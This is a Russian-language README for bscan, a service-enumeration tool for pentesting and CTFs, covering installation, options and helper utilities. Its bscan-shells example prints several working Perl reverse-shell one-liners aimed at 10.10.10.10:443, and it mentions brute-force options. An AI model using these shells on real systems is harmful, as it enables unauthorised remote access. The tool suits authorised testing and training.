
асинхронный инструмент перечисления целей
:mag: асинхронный инструмент для перечисления целей :mag_right:
bscan — это утилита командной строки для активного сбора информации и перечисления служб. По сути, bscan асинхронно запускает процессы известных сканирующих утилит, преобразуя результаты сканирования в выделенный консольный вывод и хорошо структурированный каталог файлов.
bscan предназначен только для образовательных целей и таких мероприятий, как CTF, и никогда не должен запускаться на машинах и/или сетях без явного предварительного согласия. Этот код выпущен под лицензией MIT.
bscan был написан для работы в Kali Linux, но в принципе ничто не мешает его запуску в любой ОС с установленными соответствующими инструментами. Существует несколько различных типов пакетов и способов их установки.
Самый простой способ начать работу — скачать подходящий однофайловый исполняемый файл программы для вашей операционной системы (установка Python не требуется):
# на Linux (например, Kali)
wget -O bscan https://releases.brianwel.ch/bscan/linux
# на Windows
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"
# чтобы загрузить конкретную версию, используйте следующий шаблон
wget -O bscan https://releases.brianwel.ch/github/bscan/linux/0.1.4
Вы также можете загрузить последнюю собранную версию из PyPI (обратите внимание, что для этого требуется существующая установка Python 3.6+):
pip install bscan
Аналогично, вы можете получить самую свежую версию из системы контроля версий:
pip install https://github.com/welchbj/bscan/archive/master.tar.gz
bscan имеет множество параметров конфигурации, которые можно использовать для настройки сканирования под ваши нужды. Вот краткий пример:
$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org
Что здесь происходит?
--max-concurrency 3 означает, что одновременно будет запущено не более 3 параллельных подпроцессов сканирования--patterns [Mm]icrosoft задаёт пользовательский шаблон регулярного выражения для подсветки совпадений в выводимых результатах сканирования--status-interval 10 указывает bscan выводить обновления статуса выполнения каждые 10 секунд--verbose-status означает, что каждое такое обновление будет выводить подробности обо всех текущих работающих подпроцессах сканированияscanme.nmap.org — это хост, который мы хотим просканироватьbscan также использует некоторые дополнительные файлы конфигурации. Файлы по умолчанию находятся в каталоге bscan/configuation и служат следующим целям:
patterns.txt задаёт шаблоны regex, которые будут подсвечиваться в консольном выводе при совпадении с результатами сканированияrequired-programs.txt перечисляет установленные программы, которые планирует использовать bscanport-scans.toml определяет сканирования для обнаружения портов, выполняемые для целевого хоста (целевых хостов), а также регулярные выражения для извлечения номеров портов и имён служб из вывода сканированияservice-scans.toml определяет сканирования, выполняемые для целевого хоста (целевых хостов) отдельно для каждой службыВот что вы должны увидеть при выполнении bscan --help:
usage: bscan [OPTIONS] targets
_
| |__ ___ ___ __ _ _ __
| '_ \/ __|/ __/ _` | '_ \
| |_) \__ \ (__ (_| | | | |
|_.__/|___/\___\__,_|_| |_|
an asynchronous service enumeration tool
positional arguments:
targets the targets and/or networks on which to perform enumeration
optional arguments:
-h, --help show this help message and exit
--brute-pass-list F filename of password list to use for brute-forcing
--brute-user-list F filename of user list to use for brute-forcing
--cmd-print-width I the maximum integer number of characters allowed when printing
the command used to spawn a running subprocess (defaults to 80)
--config-dir D the base directory from which to load the configuration files;
required configuration files missing from this directory will
instead be loaded from the default files shipped with this
program
--hard force overwrite of existing directories
--max-concurrency I maximum integer number of subprocesses permitted to be running
concurrently (defaults to 20)
--no-program-check disable checking the presence of required system programs
--no-file-check disable checking the presence of files such as configured
wordlists
--no-service-scans disable running scans on discovered services
--output-dir D the base directory in which to write output files
--patterns [ [ ...]] regex patterns to highlight in output text
--ping-sweep enable ping sweep filtering of hosts from a network range
before running more intensive scans
--quick-only whether to only run the quick scan (and not include the
thorough scan over all ports)
--qs-method S the method for performing the initial TCP port scan; must
correspond to a configured port scan
--status-interval I integer number of seconds to pause in between printing status
updates; a non-positive value disables updates (defaults to 30)
--ts-method S the method for performing the thorough TCP port scan; must
correspond to a configured port scan
--udp whether to run UDP scans
--udp-method S the method for performing the UDP port scan; must correspond
to a configured port scan
--verbose-status whether to print verbose runtime status updates, based on
frequency specified by `--status-interval` flag
--version program version
--web-word-list F the wordlist to use for scans
Основная программа bscan поставляется с двумя вспомогательными утилитами (bscan-wordlists и bscan-shells), которые облегчат вам поиск словарей и попытки открытия обратных оболочек.
bscan-wordlists — это программа, предназначенная для поиска файлов словарей в Kali Linux. Она ищет в нескольких каталогах по умолчанию и поддерживает сопоставление имён файлов по шаблону. Вот простой пример:
$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt
Попробуйте bscan-wordlists --help, чтобы изучить другие параметры.
bscan-shells — это программа, которая генерирует множество однострочных команд для обратных оболочек с заполненными полями target и port. Вот простой пример для вывода всех Perl-оболочек, настроенных на подключение к 10.10.10.10 на порт 443:
$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Обратите внимание, что bscan-shells берёт эти команды из файла конфигурации reverse-shells.toml. Попробуйте bscan-shells --help, чтобы изучить другие параметры.
Начните с настройки нового окружения для разработки и установки зависимостей (используя virtualenvwrapper / virtualenvwrapper-win):
# настройка окружения
mkvirtualenv -p $(which python3) bscan-dev
workon bscan-dev
# установите зависимости
pip install -r dev-requirements.txt
Проверьте код линтером и статическим анализатором типов (они также выполняются на Travis):
flake8 . && mypy bscan
Когда приходит время собрать новый релиз:
# создание однофайлового исполняемого файла
pyinstaller bscan.spec
# сборка исходной и wheel-дистрибутивов
python setup.py bdist_wheel sdist
# выполнение пост-сборочных проверок
twine check dist/*
# загрузка на PyPI
twine upload dist/*